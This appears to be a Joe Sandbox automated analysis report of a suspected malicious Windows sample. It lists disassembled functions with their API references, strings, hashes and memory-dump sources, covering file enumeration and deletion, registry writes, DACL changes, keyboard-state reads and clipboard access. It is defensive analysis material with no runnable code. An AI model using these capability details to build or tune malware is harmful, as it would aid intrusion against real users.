Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 8e008a979c3e6bf15dde95e2eeeaf0ebb25cfc282e68172a53be6ddce007e079
Instruction ID: 865e95455f15134758b43d2f331b387749ddb661521e3477afe2cb99ca9798ae
Opcode Fuzzy Hash: 8e008a979c3e6bf15dde95e2eeeaf0ebb25cfc282e68172a53be6ddce007e079
Instruction Fuzzy Hash: 59A140B1408344ABD714EF95C885DAFB7ECFF88709F40192EF585C6151EA78DA08CB66

Function 0049EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0049EFB6
_wcscmp.LIBCMT ref: 0049EFCB
_wcscmp.LIBCMT ref: 0049EFE2
GetFileAttributesW.KERNEL32(?), ref: 0049EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0049F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0049F026
FindClose.KERNEL32(00000000), ref: 0049F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0049F04D
_wcscmp.LIBCMT ref: 0049F074
_wcscmp.LIBCMT ref: 0049F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0049F09D
SetCurrentDirectoryW.KERNEL32(004E8920), ref: 0049F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0049F0C5
FindClose.KERNEL32(00000000), ref: 0049F0D2
FindClose.KERNEL32(00000000), ref: 0049F0E4

Strings

*.*, xrefs: 0049F048

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 66e7f0b8d03d9ceecbf75e4169a862901d6d7e1fdf9c709e4204e98b26e4afe0
Instruction ID: 000033135e91a07f656ebc176bb70a4b16c55612824b9d587c55e47dd7f40b42
Opcode Fuzzy Hash: 66e7f0b8d03d9ceecbf75e4169a862901d6d7e1fdf9c709e4204e98b26e4afe0
Instruction Fuzzy Hash: 2B31B6325012187BDF14DFB5DC49AEE7BAC9F44361F1401B7E808D2191DB79DA48CA6D

Function 004B0857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004B0953
RegCreateKeyExW.ADVAPI32(?,?,00000000,004BF910,00000000,?,00000000,?,?), ref: 004B09C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 004B0A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 004B0A92
RegCloseKey.ADVAPI32(?), ref: 004B0DB2
RegCloseKey.ADVAPI32(00000000), ref: 004B0DBF

Strings

REG_QWORD, xrefs: 004B0D00
REG_EXPAND_SZ, xrefs: 004B0A2F
REG_BINARY, xrefs: 004B0D4D
REG_MULTI_SZ, xrefs: 004B0B7A
REG_DWORD, xrefs: 004B0C83
REG_SZ, xrefs: 004B0AD0

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 1c0a7a93d7c2d1d2048015db9931f8a4ea2e14f2f57ac357adc707dcac9ef02c
Instruction ID: 294098fa75da494182498f75a475a935017da30b0f8e8817888c274ec14a38da
Opcode Fuzzy Hash: 1c0a7a93d7c2d1d2048015db9931f8a4ea2e14f2f57ac357adc707dcac9ef02c
Instruction Fuzzy Hash: 19023A756006019FCB14EF19C881E6AB7E5FF89314F04855EF8899B3A2CB78ED05CB99

Function 004466E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON

Download Yara Rule

Strings

BSR_ANYCRLF), xrefs: 0048131E
CR), xrefs: 00481287
0EM, xrefs: 0044673D
ANY), xrefs: 004812DE
UCP), xrefs: 0048110D
_D, xrefs: 00481465, 0048150C, 004815B4
NO_AUTO_POSSESS), xrefs: 0048112E
UTF16), xrefs: 004810CF
LIMIT_MATCH=, xrefs: 00481170
CRLF), xrefs: 004812C1
LF), xrefs: 004812A4
0DM, xrefs: 00446733
NO_START_OPT), xrefs: 0048114F
UTF), xrefs: 004810FA
LIMIT_RECURSION=, xrefs: 004811FC
ANYCRLF), xrefs: 004812FB
BSR_UNICODE), xrefs: 00481338
3cD, xrefs: 004468FF
pGM, xrefs: 00446751
0FM, xrefs: 00446747

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID: 0DM$0EM$0FM$3cD$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pGM$_D
API String ID: 0-1571114681
Opcode ID: b3a137d33b79b2f9c52dfd541658b17ee0742e395a9b83b5f44c38fb91b66979
Instruction ID: e5edff143c0eb95a7776ef4250570b911324b8d83c14ad8edf35259aa86a0faf
Opcode Fuzzy Hash: b3a137d33b79b2f9c52dfd541658b17ee0742e395a9b83b5f44c38fb91b66979
Instruction Fuzzy Hash: 1E726E71E002199BEB14DF59C8807AEB7B5FF45310F15856BE805EB390EB389D82CB99

Function 0049F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0049F113
_wcscmp.LIBCMT ref: 0049F128
_wcscmp.LIBCMT ref: 0049F13F

Part of subcall function 00494385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 004943A0

FindNextFileW.KERNEL32(00000000,?), ref: 0049F16E
FindClose.KERNEL32(00000000), ref: 0049F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0049F195
_wcscmp.LIBCMT ref: 0049F1BC
_wcscmp.LIBCMT ref: 0049F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0049F1E5
SetCurrentDirectoryW.KERNEL32(004E8920), ref: 0049F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0049F20D
FindClose.KERNEL32(00000000), ref: 0049F21A
FindClose.KERNEL32(00000000), ref: 0049F22C

Strings

*.*, xrefs: 0049F190

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: d9249ecfc69c45f0c05a9f2a60316c27c00115dc9fd2b0bc45c0acc215c84476
Instruction ID: ba9c007c816659bfc46bcd19759bc65eee93c6139fb43a74b270a1515cd245ef
Opcode Fuzzy Hash: d9249ecfc69c45f0c05a9f2a60316c27c00115dc9fd2b0bc45c0acc215c84476
Instruction Fuzzy Hash: 5C31B3365002196ACF149FA4EC49FEF7BAC9F45365F1402B7E804E2191DB39DE49CA6C

Function 0049A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0049A20F
__swprintf.LIBCMT ref: 0049A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0049A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0049A293
_memset.LIBCMT ref: 0049A2B2
_wcsncpy.LIBCMT ref: 0049A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0049A323
CloseHandle.KERNEL32(00000000), ref: 0049A32E
RemoveDirectoryW.KERNEL32(?), ref: 0049A337
CloseHandle.KERNEL32(00000000), ref: 0049A341

Strings

\, xrefs: 0049A247
:, xrefs: 0049A252
\??\%s, xrefs: 0049A22B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 6016f68e01b5cee441d9c412756b2cbdbe2587a46b5c2551fa48f23c9d954178
Instruction ID: 5549b965648e90950d339df0cdb5aba3fd9795ceca1536459429353174174be9
Opcode Fuzzy Hash: 6016f68e01b5cee441d9c412756b2cbdbe2587a46b5c2551fa48f23c9d954178
Instruction Fuzzy Hash: CA31D371500109ABDF209FA0DC49FEB37BCEF88705F1041B7F908D2160EB7496588B69

Function 00487CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00488202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0048821E
Part of subcall function 00488202: GetLastError.KERNEL32(?,00487CE2,?,?,?), ref: 00488228
Part of subcall function 00488202: GetProcessHeap.KERNEL32(00000008,?,?,00487CE2,?,?,?), ref: 00488237
Part of subcall function 00488202: HeapAlloc.KERNEL32(00000000,?,00487CE2,?,?,?), ref: 0048823E
Part of subcall function 00488202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00488255

Part of subcall function 0048829F: GetProcessHeap.KERNEL32(00000008,00487CF8,00000000,00000000,?,00487CF8,?), ref: 004882AB
Part of subcall function 0048829F: HeapAlloc.KERNEL32(00000000,?,00487CF8,?), ref: 004882B2
Part of subcall function 0048829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00487CF8,?), ref: 004882C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00487D13
_memset.LIBCMT ref: 00487D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00487D47
GetLengthSid.ADVAPI32(?), ref: 00487D58
GetAce.ADVAPI32(?,00000000,?), ref: 00487D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00487DB1
GetLengthSid.ADVAPI32(?), ref: 00487DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00487DDD
HeapAlloc.KERNEL32(00000000), ref: 00487DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00487E05
CopySid.ADVAPI32(00000000), ref: 00487E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00487E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00487E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00487E77

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 0502a81dffc18e98c0adeabee1379fad7a9809ef054bee0983258d92ec854b99
Instruction ID: 56a82255ce6d1d872a70e94513c66d0a001791bc23a54d251012886be3e30311
Opcode Fuzzy Hash: 0502a81dffc18e98c0adeabee1379fad7a9809ef054bee0983258d92ec854b99
Instruction Fuzzy Hash: F3616D71904109AFCF00EFA5DC54AEEBB79FF08304F14866AE819A6291DB39DE05DB64

Function 0049001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00490097
SetKeyboardState.USER32(?), ref: 00490102
GetAsyncKeyState.USER32(000000A0), ref: 00490122
GetKeyState.USER32(000000A0), ref: 00490139
GetAsyncKeyState.USER32(000000A1), ref: 00490168
GetKeyState.USER32(000000A1), ref: 00490179
GetAsyncKeyState.USER32(00000011), ref: 004901A5
GetKeyState.USER32(00000011), ref: 004901B3
GetAsyncKeyState.USER32(00000012), ref: 004901DC
GetKeyState.USER32(00000012), ref: 004901EA
GetAsyncKeyState.USER32(0000005B), ref: 00490213
GetKeyState.USER32(0000005B), ref: 00490221

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: cde87b604a4dd2e5e85d404541b9ddf5617a88b2f0e77a08a388dbcf99159fb4
Instruction ID: f5e10f8d964fcf16dc805f551ea1e9fedecf348f7e314918ffce1e5ea29b8883
Opcode Fuzzy Hash: cde87b604a4dd2e5e85d404541b9ddf5617a88b2f0e77a08a388dbcf99159fb4
Instruction Fuzzy Hash: E451DB209047882DFF35DBA098557ABBFB49F01380F0845BF99C5562C3DA6C9B8CC769

Function 004B03DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AFDAD,?,?), ref: 004B0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004B04AC

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 004B054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 004B05E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 004B0822
RegCloseKey.ADVAPI32(00000000), ref: 004B082F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: fd82a2a4dd128251bf9307c8e2fece3bf1b3f40ea8b9ade32e17b54d2dc90d53
Instruction ID: e9ed6caee20d3461d73c1e2029923fcbe79807e1c9cf5e88925a033de703b3e6
Opcode Fuzzy Hash: fd82a2a4dd128251bf9307c8e2fece3bf1b3f40ea8b9ade32e17b54d2dc90d53
Instruction Fuzzy Hash: 03E15071604200AFCB14EF69C891D6BBBE4FF89314F04856EF84AD7261DA34ED05CB95

Function 004A4164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004A418B
EmptyClipboard.USER32 ref: 004A4191
GlobalAlloc.KERNEL32(00000002,?), ref: 004A41A6
CloseClipboard.USER32 ref: 004A4245

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: e9abb02fe7443fe329f85096add3914f233c7ba36f4e2cd6aad2428a89efe679
Instruction ID: e1cff0963d6d4053f2deed1d8f113d55fb679fe32f9a1af3060dee3ac7e4137e
Opcode Fuzzy Hash: e9abb02fe7443fe329f85096add3914f233c7ba36f4e2cd6aad2428a89efe679
Instruction Fuzzy Hash: 4B21B1352002109FDB04AF24EC09B6E7BA8EF95351F00816BF949DB2A1DBB8AC05CB5D

Function 004937EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00434750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00434743,?,?,004337AE,?), ref: 00434770

Part of subcall function 00494A31: GetFileAttributesW.KERNEL32(?,0049370B), ref: 00494A32

FindFirstFileW.KERNEL32(?,?), ref: 004938A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0049394B
MoveFileW.KERNEL32(?,?), ref: 0049395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0049397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0049399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 004939B9

Strings

\*.*, xrefs: 0049384E, 00493857, 0049386C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: d647dd287c046929ae3c25e935f2d9355ff1a4938a8c48ab99658eea5ec9c262
Instruction ID: 121ae9363c0d416af3ad57c2f6113fe48baf4d147289b70f0a05eebffe9199ea
Opcode Fuzzy Hash: d647dd287c046929ae3c25e935f2d9355ff1a4938a8c48ab99658eea5ec9c262
Instruction Fuzzy Hash: C951B2B180014C9ACF15EFA1C9929FEBB78AF15315F6001BEE44677191EB396F09CB68

Function 0049F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0049F440
Sleep.KERNEL32(0000000A), ref: 0049F470
_wcscmp.LIBCMT ref: 0049F484
_wcscmp.LIBCMT ref: 0049F49F
FindNextFileW.KERNEL32(?,?), ref: 0049F53D
FindClose.KERNEL32(00000000), ref: 0049F553

Strings

*.*, xrefs: 0049F425

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 22583bdf8c58cafa443640074d61deeb6e8413646a2a7aa3cf40e2858c58e463
Instruction ID: c95a9b0225f00efbc07427010ac1d89e9f94a24d1ad8da4bdc78c68bd636d153
Opcode Fuzzy Hash: 22583bdf8c58cafa443640074d61deeb6e8413646a2a7aa3cf40e2858c58e463
Instruction Fuzzy Hash: 6641607190021AABCF14DF64CC45AEEBBB4FF04324F14457BE819A3291DB389A49CF58

Function 00443030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

_D, xrefs: 00443322
3cD, xrefs: 00443225

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3cD$_D
API String ID: 674341424-3978952248
Opcode ID: cb10e9855861f0f108824b9e73d0a8ab9e1d82ff28692b718caf43d0480cbd60
Instruction ID: bdf3aa83ff47b9f9662bf26db534db95e67b2b8f9b204d68e5997f657127be1d
Opcode Fuzzy Hash: cb10e9855861f0f108824b9e73d0a8ab9e1d82ff28692b718caf43d0480cbd60
Instruction Fuzzy Hash: 38229C716083009FD724DF14C881BAFB7E5AF88714F10891EF89A97291DB79ED05CB9A

Function 00445760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004458A5
_memmove.LIBCMT ref: 004458F5
_memmove.LIBCMT ref: 0044595B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 351df61a553d89f4b0d8bab7a3b9f3e965639cf992d92c9ffeefe91b82eff81f
Instruction ID: 0136ee98f4a995e8d0af7060850e90faefbab4dbcf511b793edbcfdfd68d274c
Opcode Fuzzy Hash: 351df61a553d89f4b0d8bab7a3b9f3e965639cf992d92c9ffeefe91b82eff81f
Instruction Fuzzy Hash: 8B12AC70A00609DFDF04EFA5D981AAEB3F5FF48304F10452AE846E7291EB39AD15CB59

Function 00493B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00434750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00434743,?,?,004337AE,?), ref: 00434770

Part of subcall function 00494A31: GetFileAttributesW.KERNEL32(?,0049370B), ref: 00494A32

FindFirstFileW.KERNEL32(?,?), ref: 00493B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00493BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00493BEA
FindClose.KERNEL32(00000000), ref: 00493C01
FindClose.KERNEL32(00000000), ref: 00493C0A

Strings

\*.*, xrefs: 00493B5B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 72e85ba918383ba07dcb9e6a872228571ef0bec60a7213626963ac1f7f6fd37e
